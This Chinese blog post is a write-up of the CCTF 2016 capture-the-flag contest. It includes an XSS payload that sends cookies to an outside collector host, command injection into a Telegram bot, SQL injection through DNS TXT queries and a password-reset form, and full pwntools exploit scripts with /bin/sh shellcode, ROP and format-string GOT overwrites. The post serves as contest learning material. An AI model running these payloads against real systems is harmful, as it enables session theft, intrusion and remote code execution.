LoRexxar's Blog | 信息技术分享

CCTF2016_writeup

2016/04/25

前两天打了0xFA举办的cctf,很幸运拿到了不错的名次

稍微整理下wp

pentest

IDS-Chicken

由于比赛的时候没做出来,结果看了wp发现就差一点点儿…
http://c-chicken.cc/ctf/2016/04/25/IDS-Writeup.html

首先打开发现是个ids,如果检测到mysql报错,就会记录到后台。
开始尝试注入,但是发现由于过滤了select,所以并没有什么卵用,注不到有用的东西,后来给了hint,发现其实不是开始想的注入题目。

1
2
3
4
5
6
http://ids.c-chicken.cc/upload/
http://ids.c-chicken.cc/upload.php
http://ids.c-chicken.cc/conn.php
http://ids.c-chicken.cc/index.php
http://ids.c-chicken.cc/cgi-bin/
http://ids.c-chicken.cc/cgi-bin/printenv.cgi

…至于最后的东西,反正我是没扫到….
不过怎么说还是找到了upload.php

稍微测试了下发现传什么都没用,只有图片可以过,但是图片还被改名重写过…

又给了提示:
1、可以上传多媒体文件
2、后台会记录攻击

那么思路一下子清晰了很多,猜测上传swf文件,如果不被处理,那么就可以过CSP,那么就可以x到想要的东西了。
测试发现头必须有,但是如果构造一个js文件,前面的头会爆错,CWS未定义然后就会停止(当时没想到解决办法,后来看出题人的思路告诉我们要定义一个id,这样就不会报错Orz),我使用了```
在文件中写入

1
2
3
CWS

<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>

然后

1
<link rel='import' href='/upload/xxxxx'>

这样传入,就会接收到请求了

可是没想到的是,测试的时候,由于不知道后台的记录方式是什么样的,猜测是不能报错或者要被fuck。。。那么我就使用了

1
id=1'#<link xxxxxx>

这样的请求,还发了加select的,后来出题人告诉我#会把后面的截断,被fuck不会被记录…..

表示心很累。。。。

萝莉俱乐部系列

萝莉2

目标 :http://www.loli.club/
拿到 Web 目录下的 flag 文件

RR 说常规渗透过程, 页面源码给了

powered by PockyNya
诚招前端,请联系邮箱:pocky@loli.club
直接丢谷歌找到github上有pockynya的信息

https://github.com/PockyNya/pyprint

这一份代码是部署在

http://pocky.loli.club:41293/

pocky.loli.club (120.27.155.112) 杭州阿里云
www.loli.club (47.89.50.241) 香港阿里云

然后奇怪QAQ,后来说解题顺序和题目顺序无关。
线程切到pocky.loli.club(loli2)

翻翻看发现博客里面的文章

1
2
3
4
5
6
7
最近黑阔盛行,我冥冥之中感觉到最近我的 Blog 会被一群黑阔访问。
目前我做了如下解决方案:
密码改变,不要是 username123 这种简单的密码,加上了特殊字符
最近 Email 只点击我熟知的地址,比如我博客..2333
博客由于是一个著名黑阔用 Python 写的,我相信肯定没有各种漏洞啦
服务器是阿里云,阿里云一定很安全的说ww
好像有个奇怪格式的邮件添加在我 Github 的 Personal settings 的 Emails 里面了..啊,不管了..应该没什么大碍吧..

上面基本上说的很清楚了,说明不是弱口令,也不是getshell题目,而且email只点击博客的地址,那么很清楚了,应该是xss

然后此时发现在 post 多了些奇奇怪怪的文章。
发表文章部份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class AddPostHandler(BaseHandler):
@tornado.web.authenticated
def get(self):
self.background_render('add_post.html', post=None)

def post(self):
title = self.get_argument('title', None)
content = self.get_argument('content', None)
tags = self.get_argument('tags', '').strip().split(',')
if not title or not content:
return self.redirect('/kamisama/posts/add')

post = self.orm.query(Post.title).filter(Post.title == title).all()
if post:
return self.write('<script>alert("Title has already existed");window.history.go(-1);</script>')
self.orm.add(Post(title=title, content=content, created_time=date.today()))
self.orm.commit()
return self.redirect('/kamisama/posts')

发现在添加文章的地方,并没有做用户的验证。
猜想XSS一篇文章到邮箱让PockyNya戳。

1
2
3
4
5
import requests

url = “http://pocky.loli.club/kamisama/posts/add”
data = {"title":"this is dong", "content": "this is dong"}
requests.post(url, data=data)

这里真的是踩了很大的坑,第一次x到的cookie只有

1
username=2|1:0|10:1461382264|8:username|12:cG9ja3lueWE=|d4e540d298981e80bd48150453751ef3db7a18611d2748f0f1d8cee4484d4958

然后我们进了后台,虽然找到了loli1的入口,但是想不通为什么没有找到flag(说:是谁管这个的),花了3个小时研究觉得不可能有问题,所以又x了一次,这次拿到了flag

flag=343334333534343637623433346634343435356634313535343434393534356634323535353335343435353235333764;

x回来的flag。

1
2
3
4
5
6
7
8
9
10
11
12
>>> s = '''343334333534343637623433346634343435356634313535343434393534356634323535353335343435353235333764'''
>>> len(s)
96
>>> import binascii
>>> binascii.unhexlify(s)
'434354467b434f44455f41554449545f425553544552537d'
>>> len(binascii.unhexlify(s))
48
>>> s = binascii.unhexlify(s)
>>> binascii.unhexlify(s)
'CCTF{CODE_AUDIT_BUSTERS}'
>>>

第一只萝莉捕获成功。

x回来的cookie登陆后台看到后台文章

萝莉1

在公司搭建了个 Minecraft 服务器来着… 用的官网的服务器,性能高~ 写了个 telegram bot 来管理 Minecraft 的开启和关闭,几行 lua 简单的很呢~ 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
do

local function run(msg, matches)
if matches[1] ~= '!minecraft' then
operation = matches[1]
else
return "!minecraft start|stop|restart"
end
if string.find(operation, '&') or string.find(operation, '|') or string.find(operation, '`') then
return "Invalid operation " .. operation
end
local t = io.popen('cd /home/telegram && ./mc ' .. operation)
local a = t:read("*all")
return a
end

return {
description = "loli.club minecraft bot!",
usage = "!minecraft start|stop|restart",
patterns = {
"^!minecraft$",
"^!minecraft (.*)$"
},
run = run
}

end

telegram上搜一下PockyNya(最扯的是telegram上有个叫pockybot的账户…),肯定是头像最萌的那个。

!minecraft ;ls /home/wwwroot
!minecraft ;cat /home/wwwroot/flag

CCTF{TELEGRAM_BOT_AND_Lf}

RR 说bot拿完flag就没用了,所以没有继续玩♂, 嗯这个文件叫flag

萝莉3

内网渗透

扫域名不是爆破我ns服务器..而且ns服务器是pockynya用python和mysql开发的,会有什么漏洞呢..

Get Hint!
找到了ns.loli.club之后试了下不存在域传送漏洞。
再试了下A记录AAAA记录 TXT 记录 P.S. RR也说了不滋瓷其它记录
发现pocky.loli.club的 TXT 记录返回 “GOGOGO”
所以猜想应该TXT记录放在mysql的一个字段里面了。
查询条件是txt 还有 domain
然后把这道题变成了常规web注入

1
2
3
dig @ns.loli.club -t txt "pocky.loli.club'&&if(mid(version(),1,1)=5,1,0)#"

dig @ns.loli.club -t txt "pocky.loli.club'&&if(mid(version(),1,1)=6,1,0)#"

结果证实注入存在。
union注入找到
dns数据库下只有一张hosts表
hosts表下只有七条记录都没有什么有用的信息。
所以就是get system shell.
开始无脑地缩短payload
发现

1
dig @ns.loli.club -t txt "'union(select 1,(select name from mysql.func limit 0,1),3,4)#"

返回sYsT3m_e
贴心的出题人Ricter关爱 Web 狗把UDF都种好了。

1
dig @ns.loli.club -t txt "'union(select 1,(select name from mysql.func limit 1,1),3,4)#"

只有一个func,够了。然后一头撞在了缩短payload的墙上。
二狗告我为什么不down 回脚本,智障一。
然后我喊了一声我要拿一血。立flag…
反弹shell之后,find / -name flag 智障二。
然后没找到懵逼。 试了其它,也没有。就一个一个手动切目录。
找到flag放在了FLAG文件里面。
第三只萝莉捕获完毕。

萝莉4

RR说这是最容易的,还说帮大家装好了nmap了。

1
2
3
4
5
6
7
8
9
/etc/hosts
127.0.0.1 localhost
127.0.1.1 localhost.localdomain localhost

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.47.111.200 dns

nmap跑起来把/21的都跑了一遍,继续缩小目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 arp -a
? (120.27.151.247) at 3c:8c:40:4e:dd:46 [ether] on eth1
? (10.47.111.247) at 3c:8c:40:4e:dd:46 [ether] on eth0
? (10.47.111.187) at 00:16:3e:01:02:8b [ether] on eth0
? (10.47.110.23) at 00:16:3e:01:03:33 [ether] on eth0


10.47.111.187开了8080和和80
8080/tcp open http nginx 1.4.6 (Ubuntu)
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: OPS - LOLI.CLUB
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:V=6.40%I=7%D=4/24%Time=571C607D%P=x86_64-pc-linux-gnu%r(NULL
SF:,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


80/tcp open http nginx 1.4.6 (Ubuntu)
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: 404 Not Found

内网嗯。。上了个s5代理。
然后在forget?(找回密码)处发现了注入。
学长发现可以sqlmap跑,但有点卡。
然后就手注了。

1
email=********%40qq.com') union select updatexml(0,concat(0x27,(select column_name from information_schema.columns where table_name='user' limit 7,1)),0)%23

user表 好多列。。想想我们的目标是admin的密码
然后
select password from user where username=’***’
这里坑了一下,因为出来的密码直接复制出来,update回去,但失败了。
因为出来的密码看着像是md5但其实只有31位。
为什么会这样子呢?
显错注入有长度限制。其实密码hash后完整长度超过了这个。
然后就分两段截取了出来。

1
email=********%40qq.com'); update user set password='**********';%23

然后以admin登陆,flag就在眼前。

四只萝莉捕获完毕。

misc

签个到

没什么可说的,F12审查元素就看到了..

Best_Easy_Misc

Morse解码一下。得到只有0和9的字符共 1024 个。
32 * 32 = 1024
把字符替换下然后打印出来。
发现水平翻转了。

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# -*- coding: utf-8 -*-

output = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000099990099999900000000000000000009000090000000090000900000000000000000000000000099099000000000000000000000000000009000000000000009009000000990000000000000000000090909009009090000000000000000000909090090090900009090000000000009090900900909000090900000000000090909009009090000909000000000000999900099999000099990000000000000000000000000000000000000000000000000009000090000000000000000000900090009009000000090000000000009000900009900000000900000000000090009000099000009999000000000000099900009009000000090000000000000000000900009000000900000000000000000000000000000000000000000000999909000000000000000000000000000000000099990900900900000000000000000000000000009009000000000000099999000009900099990000000000000090000000900900000000000000000000090000009009000000000000000000000090000090090090090000000000000999990099999900900900000000000000000000000000009999'
output = output.replace('0', ' ')
output = output.replace('9', '#')
def main():
for j in range(0, len(output), 32):
print output[j:j+32][::-1]

if __name__ == '__main__':
main()

True or False?

True or False?

Hint:这是一个压缩文件


拿到文件后,发现并不能认出是啥文件,根据提示说是压缩文件,搜了一些压缩文件格式的magic number,有点像bz2,只是前两个字节调换了一下位置。

1
2
3
4
hex
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

00000000 5A 42 68 39 31 41 59 26 53 59 82 D2 45 B8 00 16 ZBh91AY&SY‚ÒE¸

调换后,可以直接解压,是tar.bz2的压缩格式。解压后有两个文件True和False,丢到IDA里去。

两个文件都执行了命令,但是跟flag毫无关系,但是true文件中发现了一个print_f函数企图蒙混过关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c
v14 = "yvahk-enva";
v1 = 'P';
v2 = 'P';
v3 = 'G';
v4 = 'S';
v5 = '{';
v6 = '\0';
v7 = '-';
v8 = 'o';
v9 = 'v';
v10 = 'a';
v11 = '}';
v13 = '\f';
v12 = 0;
return printf("%s%s%s\n", &v1, "yvahk-enva", &v7);

组合出字符串:PPGS{yvahk-enva-ova},ROT13即可得到flag:CCTF{linux-rain-bin}

EZ Game

流量分析
先不打开wireshark,直接strings得到开头有一串奇怪的字符

1
2
echo "Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==" | base64 -d
CCTF{do_you_like_sniffer}#

福利题。
结合题目要求,找出是哪个洞的exp过程。
发现是get了cmd shell的,找找试试就好了。

大名鼎鼎MS08067

Base{安码}

MISC1

都说了新手福利,没什么可说的

Stegsolve直接打开图片,然后查看data,解base64,有个空格的问题有点儿蛋疼,不过稍微改改,改成有意义的就可以了

MISC2

下载下来是个数据包,稍微翻翻呗,比较简单,没记错是在http包中明码传的flag,稍微找找就好了。

re1

新手福音,业界良心。

flag提交格式:

CCTF{flag}

hint:flag是你的解出来的哇


直接丢去IDA,argc 需要大于3,前面的一大段代码都没什么用,直接看check函数:

1
2
3
4
5
6
7
8
9
10
11
signed int __cdecl check(char *a1)
{
signed int i; // [sp+Ch] [bp-4h]@1

for ( i = 0; i <= 31; ++i )
{
if ( a1[i] != *(i + 0x8048C80) )
return 0;
}
return 1;
}

把输入的字符串和0x8048c80这个地址的内容去比较,而这个地址的内容是:

1
.rodata:08048C80 aF2332291a6e1e6 db 'f2332291a6e1e6154f3cf4ad8b7504d8',0

所以直接执行程序:

1
2
3
➜  cctf  ./buffer32 f2332291a6e1e6154f3cf4ad8b7504d8 f2332291a6e1e6154f3cf4ad8b7504d8 f2332291a6e1e6154f3cf4ad8b7504d8
Aleph-One
Is The Password. Good Job !

re2

新手福音,业界良心。

flag提交格式:

CCTF{flag}


.net写的,直接上Reflector。
程序连接到127.0.0.1的31337端口,然后把flag发了过来。
本地监听一下这个端口,然后运行程序就可以了。

1
2
3
PS C:\Users\lightless\Desktop\PowerCat> Import-Module .\PowerCat.psd1
PS C:\Users\lightless\Desktop\PowerCat> start-powercat -port 31337
CTF{7eb67b0bb4427e0b43b40b6042670b55}

re3

这个其实没什么好写的.

用od在strcmp的地方下断点。直接跑就可以了。等断在断点之后就直接在栈上看到flag了。

因为太简单反而怀疑了一阵子Orz

BIN

2048?4096?

hint1:2048?4096? Hint: 他们说玩到2048并不厉害,玩到4096的也不厉害,不信你先逆一下
hint2:2048?4096? Hint:真的是分数越高的越厉害? 2016年4月23日16:07
hint3:2048?4096? Hint3:好吧,咱看谁分数最低。。。。。。。。。。。。 2016年4月23日18:08

那么就是找出理论最低分咯

https://www.zhihu.com/question/23073587

这样一来理论最低分就是16分了,那么理论最低步数呢,不知道….
没办法,跑跑看吧,最后跑出来是22步(哪位大牛告诉我为什么啊?)

Difffffffffuse

让我来讲个故事

我把这道题叫做:一柱擎天

第一次打开这题:什么玩意,估计是一个虚拟机或者平坦化,代码长的一柱擎天。

觉得这题完全没法做,打开了游戏,半小时过去了。。。。。队友跟我说这题有人DONE了。我想怎么可能,这种东西不可能那么快做出来的,于是又把它捡了起来。

1
2
3
4
5
6
7
8
9
10
11
.text:080BB877                 mov     dword ptr [esp+8], 28h ; n
.text:080BB87F lea eax, [esp+14h]
.text:080BB883 mov [esp+4], eax ; s2
.text:080BB887 lea eax, [esp+3Dh]
.text:080BB88B mov [esp], eax ; s1
.text:080BB88E call _memcmp
.text:080BB893 test eax, eax
.text:080BB895 jnz short loc_80BB8A5
.text:080BB897 mov dword ptr [esp], offset s ; "Yeap!!!"
.text:080BB89E call _puts
.text:080BB8A3 jmp short loc_80BB8B1

可以看到memcmp对内存进行了比较,下断点发现可以进行爆破。

需要的结果:

1
2
3
4
5
6
0xffffcefd:	0x83	0xec	0x5f	0xa2	0x93	0xce	0xe5	0xfb
0xffffcf05: 0x5a 0x17 0x06 0xff 0x89 0x2d 0xd7 0x6c
0xffffcf0d: 0xbe 0xce 0x8d 0x6a 0xb8 0x15 0x26 0xfc
0xffffcf15: 0x84 0x01 0x94 0x44 0xf8 0xd7 0x23 0x1c
0xffffcf1d: 0x4b 0xc2 0x31 0x04 0xa6 0x33 0x08 0x57
0xffffcf25: 0x00 0x00 0x00 0x00

然而我并不会Linux的Patch,只能自己人肉爆破ORZ。

分别填入40个1到10,小写的a到z,下划线,进行比较,获得了这样子的东西:

CCTF{1F_?0u_?4n?a_?3v?n93_____purpleroc}

可以猜出来,第一个大写字母组成的单词是You,第二个由于我玩过I WANNA 也猜的出来,第三个搜一下?ev?nge找到了一个叫做复仇的影视剧。

CCTF{1F_Y0u_W4nNa_R3vEn93_____purpleroc}

(ps:这也叫wp??????)

pwn1

所以说这题的正解是啥?

汇编代码本身不是很复杂。main函数的最后一个call ecx控制eip。同时可以控制跳转时栈参数8个字节。

首先8个字节构造rop实在太少,所以需要先迁移栈。用ROPgadget找一下发现了

0x08048662 : add byte ptr [eax], al ; lea esp, dword ptr [ebp - 0xc] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080486cb : sbb al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret

可以用pop ebp,ret;lea esp, dword ptr [ebp - 0xc]这样的形式来将栈迁移到任意的地址。这里直接将栈迁移到位于bss段的buffer缓冲区上。这样子rop的长度就足够了。

但是程序很贱的关闭了标准输入的读,也就是说程序全程只有一次可以写入的机会。讲道理这样的题目出题人本意是用dl resolve来利用的。我也确实尝试用dl resolve写了个poc。本地确实成功了。但是远程打的时候直接GG。

既然正解不成,就只能投机取巧了

首先,因为没给so库。所以先要知道so库的版本。这个还好说。因为rop够长,所以可以做到任意地址读。从got表中leak出两个函数的地址求个差比对一下大概就能知道so库的版本了。

然后是绕过aslr。这个没什么办法,还好程序是32位的。libc的加载基地址只有0x100中可能。所以直接盲跳libc。实际测试下来,基本上400尝试之内都能出结果。

最后一个问题是调用system直接程序就终止了。实际gdb调试结果是栈迁移后的栈太小,不足以system使用的原因。无奈只能改成用execv函数。还好可以直接在bss段构造命令行参数,所以问题不大。

最后的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#! /usr/bin/python
import pwn

pwn.context.log_level = 'debug'
binary = pwn.ELF('/tmp/pwn1')
libc = pwn.ELF('/tmp/libc.so.6')
showdown = 0x08048426

sh = 0x0804A060 + 0x70

pay = '134514276.134520956.134514383.aa'
cmd = "/bin/cat\x00\x00"
null = sh + len(cmd)


def main(system, target):
def getRop():
rop = pwn.ROP(binary)
rop.call(system, (sh, null))
return str(rop)

# pwn.gdb.attach(target)
# raw_input("debuger")
target.recv()
rop = getRop()
target.sendline(pay+rop+'a'*(0x70-len(rop+pay))+cmd+pwn.p32(sh+len(cmd)+12)+pwn.p32(sh+len(cmd)+12+4)+"\x00"*4+'cat\x00'+'flag'+'\x00' * 4)
# target.recv()
try:
a = target.recv()
except EOFError:
return
# target.interactive()
print a
exit(0)


# pwn.gdb.attach(target)
# system = raw_input("system:")
# system = int(system,16) + libc.symbols['execv']
# system = 0x00040190
for i in range(10000):
print i
try:
#target = pwn.process('/tmp/pwn1')
target = pwn.remote('115.28.241.138', 9000, timeout=1)
except:
continue
base = 0xb7574000
system = base + 0x000b5d20
# pwn.gdb.attach(target)
# system = raw_input("system:")
# system = int(system, 16) + libc.symbols['execv']
main(system, target)
target.close()

还好服务器网速不错Orz

pwn2

程序很简单。用mmap给了一整片可读可写可执行的“新大陆”

问题是整么登上新大陆呢?

首先是能够输入5个字节的shellcode然后跳转到shellcode执行。这5个字节的shellcode就是关键的地方了。再经过2个小时的无数脑洞之后,最后想到的shellcode是这个

1
2
mov     byte[esp],0xd2
ret

正好5字节。首先是用mov吧函数的返回地址更改到main函数中gets那一句

1
2
3
4
5
6
7
8
9
10
11
12
.text:080484BA                 mov     [esp+28h], eax
.text:080484BE mov eax, [esp+28h]
.text:080484C2 add eax, 0FFAh
.text:080484C7 mov [esp+2Ch], eax
.text:080484CB mov eax, [esp+2Ch]
.text:080484CF mov [esp], eax ; s
.text:080484D2 call _gets <<<<<<<--------这里
.text:080484D7 mov dword ptr [esp+8], 5 ; n
.text:080484DF mov eax, [esp+2Ch]
.text:080484E3 mov [esp+4], eax ; src
.text:080484E7 mov eax, [esp+28h]
.text:080484EB mov [esp], eax ; dest

因为用ret返回的关系。整个栈是平衡的。所以最后还能够再次跳转的“新大陆”。又因为在ret的时候栈里的布局是这样的

1
2
3
4
5
6
7
00:0000| esp 0xff997c4c --> 0x80484f9 (<main+124>:	leave)
01:0004| 0xff997c50 --> 0x31337000 --> 0xd22404c6
02:0008| 0xff997c54 --> 0x31337ffa --> 0xd22404c6
03:0012| 0xff997c58 --> 0x5
04:0016| 0xff997c5c --> 0x22 (b'"')
05:0020| 0xff997c60 --> 0x0
06:0024| 0xff997c64 --> 0x0

返回之后的参数正好是mmap的首地址。这样的长度就够写shellcode啦。

最后的脚本,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/python

import pwn

#target = pwn.process('/tmp/pwn2')
target = pwn.remote("120.27.130.77",9000)
shellcode = "\xeb\x08\x61\x61\x61\x61\x41\x41\x41\x41\x68\x2f\x73\x68\xff\x68\x2f\x62\x69\x6e\x8d\x1c" \
"\x24\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x8d\x51\x04\x83\xc0\x0b\xcd\x80\x31\xc0\x40\x31" \
"\xdb\xcd\x80"

#pwn.gdb.attach(target)
#raw_input('debuger')

target.sendline('\xc6\x04\x24\xd2\xc3')
target.sendline(shellcode + 'a' * (4090 - len(shellcode)) + '\xeb\x08aaa')
target.interactive()

完结撒shellcode

pwn3

拿到后看了会,程序一开始会做个验证,把每个输入字符+1后和”sysbdmin”比较
进入后,有3个功能
1.putfile <-malloc一段内存存放文件名和内容
2.getfile <-输入文件名,输出内容(存在格式化字符串漏洞,顺便会把内容放在栈上)
3.show_dir <-把所有文件名存放到数组,输出数组,且不分割
格式化字符串

那么接下来的思路就很自然了
1.通过getfile的格式化字符串拿到libc的相对位置
2.因为内容可控制而且还在栈上,就可以构造指向got@plt的指针,然后通过%n(改写指针指向的值为已输出的字符个数)就可以改got表了

但有几个问题
1.虽然可以通过%n改写内存,但我们要写入的是地址值,也就是一般要输出很多字符
2.改写成哪个地址
3.改写哪个函数

第一个问题,因为写入的是4字节,所以我们可以写4次,低位写到高位,每次改1字节,这样最多输出字符也就是256*4了
比如 0x12345678 -> 0xdeadbeef 先写入0xef 然后往上移一字节写0xbe 这样就有了0x0000beef …
第二个问题,既然要改,当然改成system,前面可以拿到libc的相对地址,虽然不知道libc版本,不过可以跑啊
第三个问题,我们选的函数应该是要能控制参数的,而且在getfile中不会涉及到的函数,一开始找找不到,然后才发现show_dir的puts就可以。。。因为show_dir的puts的参数是文件名,而且puts在getfile中只有输入flag才会触发,所以并不用担心。于是每次输入”/bin/sh”的一个字节就能凑出来参数

ps:就在我的test输出0的时候,我拿到了shell
shell
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
#context.log_level = 'debug'

#R = process('./pwn3')
R=remote('120.27.155.82',9000)

def setvalue(addr,value):
a=['i','n','/','s']
for i in range(0,4):
R.write('put\n')
R.recvuntil(':')
R.write(a[3-i]+'\n')
R.recvuntil(':')
R.write('%'+'%03d'%((value>>(8*i)&0xff)-2)+'x'+' '+'%10$n'+p32(addr+i)+'\n')
R.recvuntil('>')
R.write('get\n')
R.recvuntil(':')
R.write(a[3-i]+'\n')
R.recvuntil('>')
i+=1

for i in range(0,1000):
R.recvuntil(':')
R.write('rxraclhm\n')
R.recvuntil('>')
R.write('put')
R.recv()
R.write('h'*1+'\n')
R.recv()
R.write('%x%x%x%x'+'\n')
R.recv()
R.write('get'+'\n')
R.recv()
R.write('h'+'\n')
s=R.recv()
libc=int(s[8:16],16)
sys=libc-0xb7e8683b+0xb7e56190
print '#####sys:%x'%(sys+i)
print '###test %d'%i
R.recvuntil('>')
R.write('dir')
R.recvuntil('>')
setvalue(0x804A028,sys)
R.write('put')
R.write('/b\n')
R.recv()
R.write('a\n')
R.recv()
R.write('dir')
R.interactive()
R.close()
CATALOG
  1. 1. pentest
    1. 1.1. IDS-Chicken
    2. 1.2. 萝莉俱乐部系列
      1. 1.2.1. 萝莉2
      2. 1.2.2. 萝莉1
      3. 1.2.3. 萝莉3
      4. 1.2.4. 萝莉4
  2. 2. misc
    1. 2.1. 签个到
    2. 2.2. Best_Easy_Misc
    3. 2.3. True or False?
    4. 2.4. EZ Game
  3. 3. Base{安码}
    1. 3.1. MISC1
    2. 3.2. MISC2
    3. 3.3. re1
    4. 3.4. re2
    5. 3.5. re3
  4. 4. BIN
    1. 4.1. 2048?4096?
    2. 4.2. Difffffffffuse
    3. 4.3. pwn1
    4. 4.4. pwn2
    5. 4.5. pwn3